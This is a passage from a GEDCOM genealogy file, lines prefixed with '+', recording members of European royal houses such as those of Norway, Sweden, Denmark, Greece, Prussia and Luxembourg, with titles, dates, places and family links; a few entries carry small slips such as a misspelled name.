+1 TITL Crown Princess
+1 SEX F
+1 BIRT
+2 DATE        1901
+1 DEAT
+2 DATE        1954
+1 FAMS @F153@
+1 FAMC @F215@
+0 @I452@ INDI
+1 NAME Harald  //
+1 TITL Crown Prince
+1 SEX M
+1 BIRT
+2 DATE 21 FEB 1937
+2 PLAC Skaugum,Near Oslo,Norway
+1 FAMS @F154@
+1 FAMC @F153@
+0 @I453@ INDI
+1 NAME Sonja  /Haraldsen/
+1 TITL Crown Princess
+1 SEX F
+1 BIRT
+2 DATE        1937
+1 FAMS @F154@
+1 FAMC @F1282@
+0 @I454@ INDI
+1 NAME Martha Louise //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1971
+1 FAMC @F154@
+0 @I455@ INDI
+1 NAME Haakon of_Norway /Magnus/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1973
+1 FAMC @F154@
+0 @I456@ INDI
+1 NAME Gustav_V  //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE 16 JUN 1858
+2 PLAC Drottningholm,Near Stockholm,Sweden
+1 DEAT
+2 DATE 29 OCT 1950
+2 PLAC Drottningholm,Near Stockholm,Sweden
+1 BURI
+2 PLAC Stockholm,Sweden
+1 FAMS @F155@
+1 FAMC @F156@
+0 @I457@ INDI
+1 NAME Victoria of_Baden //
+1 TITL Sweden
+1 SEX F
+1 BIRT
+2 DATE  7 AUG 1862
+2 PLAC Karlsruhe
+1 DEAT
+2 DATE  4 APR 1930
+2 PLAC Rome,Italy
+1 BURI
+2 PLAC Stockholm,Sweden
+1 FAMS @F155@
+0 @I458@ INDI
+1 NAME Oscar_II  //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE 21 JAN 1829
+2 PLAC Stockholm,Sweden
+1 DEAT
+2 DATE  8 DEC 1907
+2 PLAC Stockholm,Sweden
+1 BURI
+2 PLAC Stockholm,Sweden
+1 FAMS @F156@
+1 FAMC @F627@
+0 @I459@ INDI
+1 NAME Sophia  //
+1 SEX F
+1 BIRT
+2 DATE  9 JUL 1836
+2 PLAC Biebrich
+1 DEAT
+2 DATE 30 DEC 1913
+2 PLAC Stockholm,Sweden
+1 FAMS @F156@
+1 FAMC @F209@
+0 @I460@ INDI
+1 NAME Eleonore of_Solms- Hohensolms-Lich//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1871
+1 DEAT
+2 DATE        1937
+1 FAMS @F157@
+0 @I461@ INDI
+1 NAME George Donatus of_Hesse//
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1906
+1 DEAT
+2 DATE        1937
+1 FAMS @F158@
+1 FAMC @F157@
+0 @I462@ INDI
+1 NAME Louis  //
+1 SEX M
+1 BIRT
+2 DATE        1908
+1 DEAT
+2 DATE        1968
+1 FAMS @F159@
+1 FAMC @F157@
+0 @I463@ INDI
+1 NAME Cecilie of_Greece /Mountbatten/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1911
+1 DEAT
+2 DATE        1937
+1 FAMS @F158@
+1 FAMC @F28@
+0 @I464@ INDI
+1 NAME Margaret  /Campbell-Geddes/
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1913
+1 FAMS @F159@
+1 FAMC @F1242@
+0 @I465@ INDI
+1 NAME Christopher  /Oldenburg/
+1 SEX M
+1 BIRT
+2 DATE        1888
+1 DEAT
+2 DATE        1940
+1 FAMS @F1334@
+1 FAMS @F1335@
+1 FAMC @F75@
+0 @I466@ INDI
+1 NAME George  /Oldenburg/
+1 SEX M
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1957
+1 FAMS @F1276@
+1 FAMC @F75@
+0 @I467@ INDI
+1 NAME Olga  //
+1 SEX F
+1 FAMC @F75@
+0 @I468@ INDI
+1 NAME Michael  /Hohenzollern/
+1 TITL King of Romania
+1 SEX M
+1 BIRT
+2 DATE 25 OCT 1921
+2 PLAC Pelesch,Sinaia,Romania
+1 FAMS @F161@
+1 FAMC @F160@
+0 @I469@ INDI
+1 NAME Anne of_Bourbon-Parma //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 18 SEP 1923
+2 PLAC Paris,France
+1 FAMS @F161@
+1 FAMC @F399@
+0 @I470@ INDI
+1 NAME Frederica of_Hanover /Hanover/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 18 APR 1917
+2 PLAC Blankenburg,Harz,Germany
+1 DEAT
+2 DATE  6 FEB 1981
+2 PLAC Madrid,Spain
+1 BURI
+2 PLAC Tatoi
+1 FAMS @F162@
+1 FAMC @F198@
+0 @I471@ INDI
+1 NAME Constantine_II  /Oldenburg/
+1 TITL King of Greece
+1 SEX M
+1 BIRT
+2 DATE  2 JUN 1940
+2 PLAC Psychiko
+1 FAMS @F163@
+1 FAMC @F162@
+0 @I472@ INDI
+1 NAME Anne-Marie of_Denmark //
+1 SEX F
+1 BIRT
+2 DATE 30 AUG 1946
+2 PLAC Copenhagen,Denmark
+1 FAMS @F163@
+1 FAMC @F402@
+0 @I473@ INDI
+1 NAME Aspasia  /Manos/
+1 SEX F
+1 BIRT
+2 DATE  4 SEP 1896
+2 PLAC Athens,Greece
+1 DEAT
+2 DATE  7 AUG 1972
+2 PLAC Venice,Italy
+1 FAMS @F164@
+1 FAMC @F403@
+0 @I474@ INDI
+1 NAME Alexandra of_Greece //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1921
+1 FAMS @F165@
+1 FAMC @F164@
+0 @I475@ INDI
+1 NAME Peter_II of_Yugoslavia //
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE  6 SEP 1923
+2 PLAC Belgrade
+1 DEAT
+2 DATE        1970
+1 FAMS @F165@
+1 FAMC @F151@
+0 @I476@ INDI
+1 NAME Sophia  //
+1 SEX F
+1 BIRT
+2 DATE        1914
+1 FAMS @F168@
+1 FAMS @F169@
+1 FAMC @F28@
+0 @I477@ INDI
+1 NAME Gottfried of_Hohenlohe- Lagenburg//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1897
+1 DEAT
+2 DATE        1960
+1 FAMS @F166@
+0 @I478@ INDI
+1 NAME Five_children  //
+1 SEX M
+1 FAMC @F166@
+0 @I479@ INDI
+1 NAME Berthold of_Baden //
+1 TITL Margrave
+1 SEX M
+1 BIRT
+2 DATE        1906
+1 DEAT
+2 DATE        1963
+1 FAMS @F167@
+0 @I480@ INDI
+1 NAME Four_Children  //
+1 SEX M
+1 FAMC @F167@
+0 @I481@ INDI
+1 NAME Christopher of_Hesse //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1901
+1 DEAT
+2 DATE        1944
+1 FAMS @F168@
+0 @I482@ INDI
+1 NAME George William of_Hanover//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1915
+1 FAMS @F169@
+0 @I483@ INDI
+1 NAME Eight_children  //
+1 SEX M
+1 FAMC @F169@
+0 @I484@ INDI
+1 NAME Ludwig of_Wurttemberg //
+1 TITL Duke
+1 SEX M
+1 FAMS @F170@
+0 @I485@ INDI
+1 NAME Henriette  //
+1 SEX F
+1 FAMS @F170@
+1 FAMC @F207@
+0 @I486@ INDI
+1 NAME Alexander of_Bulgaria //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1857
+1 DEAT
+2 DATE        1893
+1 FAMS @F172@
+1 FAMC @F109@
+0 @I487@ INDI
+1 NAME Francis Joseph //
+1 SEX M
+1 BIRT
+2 DATE        1861
+1 DEAT
+2 DATE        1924
+1 FAMS @F173@
+1 FAMC @F109@
+0 @I488@ INDI
+1 NAME Gustav Ernst of_Erbach-Schonb//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1840
+1 DEAT
+2 DATE        1908
+1 FAMS @F171@
+0 @I489@ INDI
+1 NAME Johanna  /Loisinger/
+1 SEX F
+1 BIRT
+2 DATE        1865
+1 DEAT
+2 DATE        1951
+1 FAMS @F172@
+1 FAMC @F1236@
+0 @I490@ INDI
+1 NAME Anna of_Montenegro Princess//
+1 SEX F
+1 FAMS @F173@
+0 @I491@ INDI
+1 NAME Alexandra Alexandrovna /Romanov/
+1 SEX F
+1 BIRT
+2 DATE        1842
+1 DEAT
+2 DATE        1849
+1 FAMC @F11@
+0 @I492@ INDI
+1 NAME Nicholas Alexandrovich /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1843
+1 DEAT
+2 DATE        1865
+1 FAMC @F11@
+0 @I493@ INDI
+1 NAME Louis_III of_Hesse //
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1806
+1 DEAT
+2 DATE        1877
+1 FAMS @F174@
+1 FAMS @F1234@
+1 FAMC @F110@
+0 @I494@ INDI
+1 NAME Edwina  /Ashley/
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1901
+1 DEAT
+2 DATE        1960
+1 FAMS @F175@
+1 FAMC @F965@
+0 @I495@ INDI
+1 NAME Mathilde  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1813
+1 DEAT
+2 DATE        1862
+1 FAMS @F174@
+1 FAMC @F432@
+0 @I496@ INDI
+1 NAME Frederica of_Hesse- Darmstadt//
+1 SEX F
+1 FAMS @F520@
+0 @I497@ INDI
+1 NAME Henry  //
+1 SEX M
+1 BIRT
+2 DATE        1838
+1 DEAT
+2 DATE        1900
+1 FAMS @F1240@
+1 FAMS @F1241@
+1 FAMC @F114@
+0 @I498@ INDI
+1 NAME William  //
+1 SEX M
+1 BIRT
+2 DATE ABT    1845
+1 DEAT
+2 DATE        1900
+1 FAMS @F1238@
+1 FAMC @F114@
+0 @I499@ INDI
+1 NAME Anna  //
+1 SEX F
+1 BIRT
+2 DATE        1843
+1 DEAT
+2 DATE        1865
+1 FAMS @F1237@
+1 FAMC @F114@
+0 @I500@ INDI
+1 NAME Patricia  /Mountbatten/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1924
+1 FAMS @F177@
+1 FAMC @F175@
+0 @I501@ INDI
+1 NAME Pamela  /Mountbatten/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1929
+1 FAMS @F178@
+1 FAMC @F175@
+0 @I502@ INDI
+1 NAME Nadejda  //
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1896
+1 DEAT
+2 DATE        1963
+1 FAMS @F176@
+1 FAMC @F498@
+0 @I503@ INDI
+1 NAME Tatiana Elizabeth /Mountbatten/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1917
+1 FAMC @F176@
+0 @I504@ INDI
+1 NAME David of_Milford_Haven /Mountbatten/
+1 TITL Marquess
+1 SEX M
+1 BIRT
+2 DATE        1919
+1 DEAT
+2 DATE 14 APR 1970
+1 BURI
+2 PLAC Whippingham Ch.,Isle of Wight,England
+1 FAMS @F963@
+1 FAMS @F964@
+1 FAMC @F176@
+0 @I505@ INDI
+1 NAME John Knatchbull /Ulick/
+1 TITL Lord Brabourne
+1 SEX M
+1 BIRT
+2 DATE        1918
+1 FAMS @F177@
+0 @I506@ INDI
+1 NAME Five_children  //
+1 SEX M
+1 FAMC @F177@
+0 @I507@ INDI
+1 NAME David  /Hicks/
+1 SEX M
+1 BIRT
+2 DATE        1928
+1 FAMS @F178@
+0 @I508@ INDI
+1 NAME Two_Children  //
+1 SEX M
+1 FAMC @F178@
+0 @I509@ INDI
+1 NAME Iris  /Mountbatten/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1920
+1 FAMS @F967@
+1 FAMS @F968@
+1 FAMS @F969@
+1 FAMC @F142@
+0 @I510@ INDI
+1 NAME Auguste  /von_Harrach/
+1 SEX F
+1 BIRT
+2 DATE        1800
+1 DEAT
+2 DATE        1873
+1 FAMS @F179@
+0 @I511@ INDI
+1 NAME Daughter Stillborn //
+1 SEX F
+1 FAMC @F145@
+0 @I512@ INDI
+1 NAME Frederick  //
+1 SEX M
+1 BIRT
+2 DATE        1833
+1 DEAT
+2 DATE        1834
+1 FAMC @F388@
+0 @I513@ INDI
+1 NAME Rosalie of_Hohenau /von_Rauch/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1820
+1 DEAT
+2 DATE        1879
+1 FAMS @F181@
+0 @I514@ INDI
+1 NAME Himiltude  //
+1 SEX F
+1 FAMS @F182@
+0 @I515@ INDI
+1 NAME Paul Frederick //
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1800
+1 DEAT
+2 DATE        1842
+1 FAMS @F183@
+0 @I516@ INDI
+1 NAME Marie of_Saxe-Weimar- Eisenach//
+1 SEX F
+1 BIRT
+2 DATE        1808
+1 DEAT
+2 DATE        1877
+1 FAMS @F184@
+0 @I517@ INDI
+1 NAME Caroline of_Zweibrucken //
+1 SEX F
+1 FAMS @F81@
+0 @I518@ INDI
+1 NAME Cecilie of_Mecklenburg- Schwerin//
+1 SEX F
+1 BIRT
+2 DATE        1886
+1 DEAT
+2 DATE        1954
+1 FAMS @F186@
+0 @I519@ INDI
+1 NAME William  //
+1 SEX M
+1 BIRT
+2 DATE        1906
+1 DEAT
+2 DATE        1940
+1 FAMS @F187@
+1 FAMC @F186@
+0 @I520@ INDI
+1 NAME Louis Ferdinand of_Prussia//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1907
+1 FAMS @F188@
+1 FAMC @F186@
+0 @I521@ INDI
+1 NAME Hubertus  //
+1 SEX M
+1 BIRT
+2 DATE        1909
+1 DEAT
+2 DATE        1950
+1 FAMS @F189@
+1 FAMS @F190@
+1 FAMC @F186@
+0 @I522@ INDI
+1 NAME Frederick  //
+1 SEX M
+1 BIRT
+2 DATE        1911
+1 DEAT
+2 DATE        1966
+1 FAMS @F191@
+1 FAMC @F186@
+0 @I523@ INDI
+1 NAME Alexandrine  //
+1 SEX F
+1 BIRT
+2 DATE        1915
+1 DEAT
+2 DATE        1980
+1 FAMC @F186@
+0 @I524@ INDI
+1 NAME Cecilie  //
+1 SEX F
+1 BIRT
+2 DATE        1917
+1 DEAT
+2 DATE        1975
+1 FAMS @F192@
+1 FAMC @F186@
+0 @I525@ INDI
+1 NAME Dorothea  /von_Salviati/
+1 SEX F
+1 BIRT
+2 DATE        1907
+1 DEAT
+2 DATE        1972
+1 FAMS @F187@
+0 @I526@ INDI
+1 NAME Dau._1  //
+1 SEX F
+1 FAMC @F187@
+0 @I527@ INDI
+1 NAME Dau._2  //
+1 SEX F
+1 FAMC @F187@
+0 @I528@ INDI
+1 NAME Kira of_Russia //
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1909
+1 DEAT
+2 DATE        1967
+1 FAMS @F188@
+1 FAMC @F213@
+0 @I529@ INDI
+1 NAME Louis_XIII  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 27 SEP 1601
+2 PLAC Fontainebleau,France
+1 DEAT
+2 DATE 14 MAY 1643
+2 PLAC Germain-en-Laye,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F521@
+1 FAMC @F271@
+0 @I530@ INDI
+1 NAME Joanna of_Austria //
+1 TITL Arch Duchess
+1 SEX F
+1 FAMS @F489@
+0 @I531@ INDI
+1 NAME Francesco_I of_Tuscany Italy//
+1 TITL Grand Duke
+1 SEX M
+1 FAMS @F489@
+0 @I532@ INDI
+1 NAME Alice de_Courtenay //
+1 SEX F
+1 FAMS @F351@
+0 @I533@ INDI
+1 NAME Aymer of_Angouleme /Taillefer/
+1 TITL Count
+1 SEX M
+1 FAMS @F351@
+0 @I534@ INDI
+1 NAME Dau._2  //
+1 SEX F
+1 FAMC @F188@
+0 @I535@ INDI
+1 NAME Dau._3  //
+1 SEX F
+1 FAMC @F188@
+0 @I536@ INDI
+1 NAME Maria-Anna  /von_Humboldt/
+1 SEX F
+1 BIRT
+2 DATE        1916
+1 FAMS @F189@
+0 @I537@ INDI
+1 NAME Magdalene  /Reuss/
+1 SEX F
+1 BIRT
+2 DATE        1920
+1 FAMS @F190@
+0 @I538@ INDI
+1 NAME Dau._1  //
+1 SEX F
+1 FAMC @F190@
+0 @I539@ INDI
+1 NAME Dau._2  //
+1 SEX F
+1 FAMC @F190@
+0 @I540@ INDI
+1 NAME Brigid  /Guinness/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1920
+1 FAMS @F191@
+0 @I541@ INDI
+1 NAME Son_1  //
+1 SEX M
+1 FAMC @F191@
+0 @I542@ INDI
+1 NAME Son_2  //
+1 SEX M
+1 FAMC @F191@
+0 @I543@ INDI
+1 NAME Son_3  //
+1 SEX M
+1 FAMC @F191@
+0 @I544@ INDI
+1 NAME Dau._1  //
+1 SEX F
+1 FAMC @F191@
+0 @I545@ INDI
+1 NAME Dau._2  //
+1 SEX F
+1 FAMC @F191@
+0 @I546@ INDI
+1 NAME Clyde  /Harris/
+1 SEX M
+1 FAMS @F192@
+0 @I547@ INDI
+1 NAME Sophie Charlotte //
+1 SEX F
+1 BIRT
+2 DATE        1879
+1 DEAT
+2 DATE        1964
+1 FAMS @F193@
+0 @I548@ INDI
+1 NAME Adelheid of_Saxe- Meiningen//
+1 SEX F
+1 BIRT
+2 DATE        1891
+1 DEAT
+2 DATE        1971
+1 FAMS @F194@
+0 @I549@ INDI
+1 NAME Alexandra of_Schleswig- //
+1 SEX F
+1 BIRT
+2 DATE        1887
+1 DEAT
+2 DATE        1957
+1 FAMS @F195@
+0 @I550@ INDI
+1 NAME Ina Maria /von_Bassewitz/
+1 SEX F
+1 BIRT
+2 DATE        1888
+1 DEAT
+2 DATE        1973
+1 FAMS @F196@
+0 @I551@ INDI
+1 NAME Marie Auguste of_Anhalt//
+1 SEX F
+1 BIRT
+2 DATE        1898
+1 DEAT
+2 DATE        1983
+1 FAMS @F197@
+0 @I552@ INDI
+1 NAME Ernest Augustus of_Brunswick/Hanover/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1887
+1 DEAT
+2 DATE        1953
+1 FAMS @F198@
+1 FAMC @F85@
+0 @I553@ INDI
+1 NAME Frederick William_II //
+1 TITL King of Prussia
+1 SEX M
+1 BIRT
+2 DATE 25 SEP 1744
+2 PLAC Berlin
+1 DEAT
+2 DATE 16 DEC 1797
+2 PLAC Marmorpalais,Potsdam
+1 FAMS @F199@
+1 FAMS @F200@
+1 FAMC @F205@
+0 @I554@ INDI
+1 NAME Elizabeth Christine of_Brunswick//
+1 SEX F
+1 BIRT
+2 DATE  8 NOV 1746
+2 PLAC Wolfenbuttel
+1 DEAT
+2 DATE 18 FEB 1840
+2 PLAC Stettin
+1 FAMS @F199@
+0 @I555@ INDI
+1 NAME Frederica Charlotte of_Prussia//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE  7 MAY 1767
+2 PLAC Charlottenburg
+1 DEAT
+2 DATE  6 AUG 1820
+2 PLAC Oatlands Park,Weybridge,Surrey,England
+1 FAMS @F185@
+1 FAMC @F199@
+0 @I556@ INDI
+1 NAME Frederica of_Hesse- Darmstadt//
+1 SEX F
+1 BIRT
+2 DATE 16 OCT 1751
+2 PLAC Prenzlau
+1 DEAT
+2 DATE 25 FEB 1805
+2 PLAC Berlin
+1 FAMS @F200@
+1 FAMC @F81@
+0 @I557@ INDI
+1 NAME Christine  //
+1 SEX F
+1 BIRT
+2 DATE        1772
+1 DEAT
+2 DATE        1773
+1 FAMC @F200@
+0 @I558@ INDI
+1 NAME Louis  //
+1 SEX M
+1 BIRT
+2 DATE        1773
+1 DEAT
+2 DATE        1796
+1 FAMS @F201@
+1 FAMC @F200@
+0 @I559@ INDI
+1 NAME Wilhelmina  //
+1 SEX F
+1 BIRT
+2 DATE 18 NOV 1774
+2 PLAC Potsdam
+1 DEAT
+2 DATE 12 OCT 1837
+2 PLAC The Hague
+1 FAMS @F202@
+1 FAMC @F200@
+0 @I560@ INDI
+1 NAME Son Stillborn //
+1 SEX M
+1 FAMC @F200@
+0 @I561@ INDI
+1 NAME Augusta  //
+1 SEX F
+1 BIRT
+2 DATE        1780
+1 DEAT
+2 DATE        1841
+1 FAMS @F203@
+1 FAMC @F200@
+0 @I562@ INDI
+1 NAME Charles  //
+1 SEX M
+1 BIRT
+2 DATE        1781
+1 DEAT
+2 DATE        1846
+1 FAMC @F200@
+0 @I563@ INDI
+1 NAME William  //
+1 SEX M
+1 BIRT
+2 DATE        1783
+1 DEAT
+2 DATE        1851
+1 FAMS @F204@
+1 FAMC @F200@
+0 @I564@ INDI
+1 NAME Charles of_Mecklenburg- Strelitz//
+1 TITL Grand Duke
+1 SEX M
+1 FAMS @F520@
+0 @I565@ INDI
+1 NAME William_I of_Netherlands //
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE 24 AUG 1772
+2 PLAC Oraniensaal,The Hague
+1 DEAT
+2 DATE 12 DEC 1843
+2 PLAC Berlin,Germany
+1 FAMS @F202@
+1 FAMS @F468@
+1 FAMC @F239@
+0 @I566@ INDI
+1 NAME William_II of_Hesse //
+1 TITL Elector
+1 SEX M
+1 FAMS @F203@
+0 @I567@ INDI
+1 NAME Maria Anna of_Hesse//
+1 SEX F
+1 BIRT
+2 DATE        1785
+1 DEAT
+2 DATE        1846
+1 FAMS @F204@
+0 @I568@ INDI
+1 NAME Augustus William //
+1 SEX M
+1 BIRT
+2 DATE        1722
+1 DEAT
+2 DATE        1758
+1 FAMS @F205@
+1 FAMC @F435@
+0 @I569@ INDI
+1 NAME Louise of_Brunswick //
+1 SEX F
+1 BIRT
+2 DATE        1722
+1 DEAT
+2 DATE        1780
+1 FAMS @F205@
+0 @I570@ INDI
+1 NAME Frederick Henry Charles//
+1 SEX M
+1 BIRT
+2 DATE        1747
+1 DEAT
+2 DATE        1767
+1 FAMC @F205@
+0 @I571@ INDI
+1 NAME Wilhelmine  //
+1 SEX F
+1 BIRT
+2 DATE        1751
+1 DEAT
+2 DATE        1820
+1 FAMS @F206@
+1 FAMC @F205@
+0 @I572@ INDI
+1 NAME George Charles Emil//
+1 SEX M
+1 BIRT
+2 DATE        1758
+1 DEAT
+2 DATE        1759
+1 FAMC @F205@
+0 @I573@ INDI
+1 NAME William_V of_Orange //
+1 SEX M
+1 FAMS @F206@
+0 @I574@ INDI
+1 NAME Charles Christian of_Nassau-Weilb//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1735
+1 DEAT
+2 DATE        1788
+1 FAMS @F207@
+0 @I575@ INDI
+1 NAME Caroline  //
+1 SEX F
+1 BIRT
+2 DATE        1743
+1 DEAT
+2 DATE        1787
+1 FAMS @F207@
+1 FAMC @F238@
+0 @I576@ INDI
+1 NAME Friedrich Wilhelm of_Nassau-Weilb//
+1 TITL Prince
+1 SEX M
+1 FAMS @F208@
+1 FAMC @F207@
+0 @I577@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F208@
+0 @I578@ INDI
+1 NAME Wilhelm of_Nassau //
+1 TITL Duke
+1 SEX M
+1 FAMS @F209@
+1 FAMC @F208@
+0 @I579@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F209@
+0 @I580@ INDI
+1 NAME Adolphe of_Luxembourg //
+1 TITL Grand Duke
+1 SEX M
+1 FAMS @F210@
+1 FAMC @F209@
+0 @I581@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F210@
+0 @I582@ INDI
+1 NAME Guillaume_IV of_Luxembourg //
+1 TITL Grand Duke
+1 SEX M
+1 FAMS @F211@
+1 FAMC @F210@
+0 @I583@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F211@
+0 @I584@ INDI
+1 NAME Charlotte of_Luxembourg //
+1 TITL Grand Duchess
+1 SEX F
+1 FAMS @F212@
+1 FAMC @F211@
+0 @I585@ INDI
+1 NAME Unknown  //
+1 SEX M
+1 FAMS @F212@
+0 @I586@ INDI
+1 NAME Jean of_Luxembourg //
+1 TITL Grand Duke
+1 SEX M
+1 FAMC @F212@
+0 @I587@ INDI
+1 NAME Marie-Josephe de_Saxe //
+1 SEX F
+1 FAMS @F1185@
+0 @I588@ INDI
+1 NAME Vladimir Cyrilovitch /Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE 30 AUG 1917
+2 PLAC Near Borga,Finland,Finland
+1 FAMS @F1381@
+1 FAMS @F214@
+1 FAMC @F213@
+0 @I589@ INDI
+1 NAME Leonide Bagration- Moukhransky//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1914
+2 PLAC Tiflis
+1 FAMS @F214@
+1 FAMC @F1271@
+0 @I590@ INDI
+1 NAME Gaston  //
+1 TITL Duke of Orleans
+1 SEX M
+1 BIRT
+2 DATE        1608
+1 DEAT
+2 DATE        1660
+1 FAMS @F1372@
+1 FAMC @F271@
+0 @I591@ INDI
+1 NAME James  //
+1 TITL Duke of Segovia
+1 SEX M
+1 BIRT
+2 DATE        1908
+1 DEAT
+2 DATE        1975
+1 FAMS @F1252@
+1 FAMS @F1253@
+1 FAMC @F143@
+0 @I592@ INDI
+1 NAME Dona_Maria of_Bourbon //
+1 SEX F
+1 BIRT
+2 DATE        1937
+1 FAMS @F1246@
+1 FAMC @F149@
+0 @I593@ INDI
+1 NAME Margarite  //
+1 TITL Crown Princess
+1 SEX F
+1 BIRT
+2 DATE        1939
+1 FAMS @F1247@
+1 FAMC @F149@
+0 @I594@ INDI
+1 NAME Alphonso  //
+1 TITL Crown Prince
+1 SEX M
+1 BIRT
+2 DATE        1941
+1 DEAT
+2 DATE        1956
+2 PLAC ,,Portugal
+1 FAMC @F149@
+0 @I595@ INDI
+1 NAME Maria  //
+1 SEX F
+1 FAMS @F255@
+1 FAMC @F170@
+0 @I596@ INDI
+1 NAME Isabella  /Marshal/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE  9 OCT 1200
+2 PLAC Pembroke Castle
+1 DEAT
+2 DATE 15 JAN 1240
+2 PLAC Berkhamsted
+1 FAMS @F599@
+1 FAMC @F778@
+0 @I597@ INDI
+1 NAME Charles of_Sweden //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1861
+1 DEAT
+2 DATE        1951
+1 FAMS @F215@
+1 FAMC @F156@
+0 @I598@ INDI
+1 NAME Ingeborg of_Denmark //
+1 SEX F
+1 BIRT
+2 DATE        1878
+1 DEAT
+2 DATE        1958
+1 FAMS @F215@
+1 FAMC @F218@
+0 @I599@ INDI
+1 NAME Astrid of_Sweden //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 17 NOV 1905
+1 DEAT
+2 DATE 29 AUG 1935
+2 PLAC Kussnacht,Switzerland
+1 BURI
+2 PLAC Laeken
+1 FAMS @F216@
+1 FAMC @F215@
+0 @I600@ INDI
+1 NAME Leopold_III  //
+1 TITL King of Belgium
+1 SEX M
+1 BIRT
+2 DATE  3 NOV 1901
+2 PLAC Brussels,Belgium
+1 DEAT
+2 DATE 25 SEP 1983
+2 PLAC Near Brussels,Belgium
+1 BURI
+2 PLAC Laeken
+1 FAMS @F216@
+1 FAMS @F429@
+1 FAMC @F423@
+0 @I601@ INDI
+1 NAME Baudouin_I of_the_Belgians //
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE  7 SEP 1930
+2 PLAC Chateau de,Stuyvenberg
+1 FAMS @F426@
+1 FAMC @F216@
+0 @I602@ INDI
+1 NAME Sibylla of_Saxe-Coburg //
+1 SEX F
+1 BIRT
+2 DATE        1908
+1 DEAT
+2 DATE        1971
+1 FAMS @F217@
+0 @I603@ INDI
+1 NAME Carl_XVI Gustav //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE 30 APR 1946
+2 PLAC Haga Castle
+1 FAMS @F220@
+1 FAMC @F217@
+0 @I604@ INDI
+1 NAME Frederick_VIII  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE  3 JUN 1843
+2 PLAC Copenhagen,Denmark
+1 DEAT
+2 DATE 14 MAY 1912
+2 PLAC Hamburg,Germany
+1 BURI
+2 PLAC Roskilde,Denmark
+1 FAMS @F218@
+1 FAMC @F74@
+0 @I605@ INDI
+1 NAME Louise of_Sweden //
+1 SEX F
+1 BIRT
+2 DATE 31 OCT 1851
+2 PLAC Stockholm,Sweden
+1 DEAT
+2 DATE 20 MAR 1926
+2 PLAC Amalienborg
+1 FAMS @F218@
+1 FAMC @F387@
+0 @I606@ INDI
+1 NAME Christian_X  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 26 SEP 1870
+2 PLAC Charlottenlund,Nr: Copenhagen,Denmark
+1 DEAT
+2 DATE 20 APR 1947
+2 PLAC Amalienborg
+1 BURI
+2 PLAC Roskilde,Denmark
+1 FAMS @F219@
+1 FAMC @F218@
+0 @I607@ INDI
+1 NAME Alexandrine of_Mecklenburg- Schwerin//
+1 SEX F
+1 BIRT
+2 DATE 24 DEC 1879
+2 PLAC Schwerin
+1 DEAT
+2 DATE 28 DEC 1952
+2 PLAC Copenhagen
+1 FAMS @F219@
+1 FAMC @F1278@
+0 @I608@ INDI
+1 NAME Frederick_IX  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 11 MAR 1899
+2 PLAC Sorgenfri,Nr: Copenhagen,Denmark
+1 DEAT
+2 DATE 14 JAN 1972
+2 PLAC Copenhagen,Denmark
+1 BURI
+2 PLAC Roskilde,Denmark
+1 FAMS @F402@
+1 FAMC @F219@
+0 @I609@ INDI
+1 NAME Alexia  /Oldenburg/
+1 SEX M
+1 BIRT
+2 DATE        1965
+1 FAMC @F163@
+0 @I610@ INDI
+1 NAME Mergrethe_II  //
+1 TITL Queen of Denmark
+1 SEX F
+1 BIRT
+2 DATE 16 APR 1940
+2 PLAC Copenhagen,Denmark
